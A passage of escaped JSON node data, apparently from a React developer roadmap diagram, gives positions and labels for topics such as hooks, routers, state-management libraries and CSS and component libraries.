\"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 331.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lists and Keys\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 331.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vdumdIglnouf1KyGIGZnc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 384.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Render Props\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 384.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_zNAOhFWMcWqP4oxNPCXF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 437.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Refs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 437.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nex2HcTOYIbfqUzXyxSMY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 490.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 490.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zOENl96GUZRw2PP2KxIck\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 543.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"High Order Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 543.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LbLQhonBqzxHU6B-L--Vq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 57.04484613528689,\n        \"y\": 541.5892656435051\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"thfnymb_UIiKxakKfiua5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.04484613528689,\n        \"y\": 541.5892656435051\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mkmz1JuNsTOR1D4vqilCX\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 16.974674544294658,\n        \"y\": 387.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Hooks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 16.974674544294658,\n        \"y\": 387.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"YEpkbNzEMzS6wAKg85J_N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 6.974674544294658,\n        \"y\": 282.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useState\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FK59Zsm5ENA9g11XWCan_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 6.974674544294658,\n        \"y\": 282.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8OnzX03hkZ9K9i__tjmFX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 3.9746745442946576,\n        \"y\": 335.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useEffect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 3.9746745442946576,\n        \"y\": 335.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HX75SExuzR5AP7TQ94qid\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -249.95515386471317,\n        \"y\": 521.0892656435051\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Custom Hooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -249.95515386471317,\n        \"y\": 521.0892656435051\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EyspErq0ByXTgkgk3SGUz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -195.52532545570534,\n        \"y\": 478.14493540451963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Hooks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": -195.52532545570534,\n        \"y\": 478.14493540451963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"dgoDNDtW2_q9R9yhkXrcz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -241.52532545570534,\n        \"y\": 282.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useCallback\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.52532545570534,\n        \"y\": 282.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t_laNdMmdLApYszqXRdWg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -110.52532545570534,\n        \"y\": 282.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useRef\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -110.52532545570534,\n        \"y\": 282.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w3bNp7OkehI1gjx8NzlC8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -110.52532545570534,\n        \"y\": 334.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useMemo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -110.52532545570534,\n        \"y\": 334.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v48Mv0wQqjXbvy8x6gDjQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -241.52532545570534,\n        \"y\": 334.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useReducer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.52532545570534,\n        \"y\": 334.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D5_O-uElftYGQr_bTU_se\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -240.52532545570534,\n        \"y\": 386.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useContext\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.52532545570534,\n        \"y\": 386.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FK59Zsm5ENA9g11XWCan_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 3.9746745442946576,\n        \"y\": 282.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"useState\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 3.9746745442946576,\n        \"y\": 282.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mkyU0ug8MXxV4biHuOity\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -249.95515386471317,\n        \"y\": 574.0892656435051\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hooks Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -249.95515386471317,\n        \"y\": 574.0892656435051\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NStw6bi_pPB49K41BFSgo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 392.97467454429466,\n        \"y\": 686.2974386815656\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"thfnymb_UIiKxakKfiua5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 392.97467454429466,\n        \"y\": 686.2974386815656\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zWL8VLx_g0SWubavJDs6i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 363.97467454429466,\n        \"y\": 825.7974386815656\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tanstack Router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jvp43wFkKlGQX2y7IxkbM\",\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 363.97467454429466,\n        \"y\": 825.7974386815656\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jvp43wFkKlGQX2y7IxkbM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 363.97467454429466,\n        \"y\": 772.7974386815656\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 363.97467454429466,\n        \"y\": 772.7974386815656\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I7_mX4h-Yywp1YyTJRKXI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 49.693201050423,\n        \"y\": 867.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"thfnymb_UIiKxakKfiua5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 49.693201050423,\n        \"y\": 867.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"10uL0r388lKh8pWYWqRZD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 82.693201050423,\n        \"y\": 685.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Context\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.693201050423,\n        \"y\": 685.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nl5imPsdY2oEWlg-9TTuk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 82.693201050423,\n        \"y\": 738.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zustand\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.693201050423,\n        \"y\": 738.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yI6XiNW04EL78UL4lkVgd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 82.693201050423,\n        \"y\": 791.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jotai\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 82.693201050423,\n        \"y\": 791.9443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DfrCkbD-HEHwLymv10zb5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -194.02532545570534,\n        \"y\": 867.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"thfnymb_UIiKxakKfiua5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -194.02532545570534,\n        \"y\": 867.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MnDgQq9Vcxsu3wDqv5uh2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": 989.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Headless Component Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": 989.4443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KO3viVIJJREtxXxsocN7j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.02532545570534,\n        \"y\": 789.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailwind CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akVNUPOqaTXaSHoQFlkP_\",\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.02532545570534,\n        \"y\": 789.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"thfnymb_UIiKxakKfiua5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -515.0253254557053,\n        \"y\": 867.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component / Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -515.0253254557053,\n        \"y\": 867.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"akVNUPOqaTXaSHoQFlkP_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.02532545570534,\n        \"y\": 683.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Panda CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.02532545570534,\n        \"y\": 683.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uqphqAnlcJOLnwHZs5jWu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -453.52532545570534,\n        \"y\": 724.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Chakra UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -453.52532545570534,\n        \"y\": 724.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gy7eBxPOlwG8BvxHVLDQ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -453.52532545570534,\n        \"y\": 671.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Material UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": 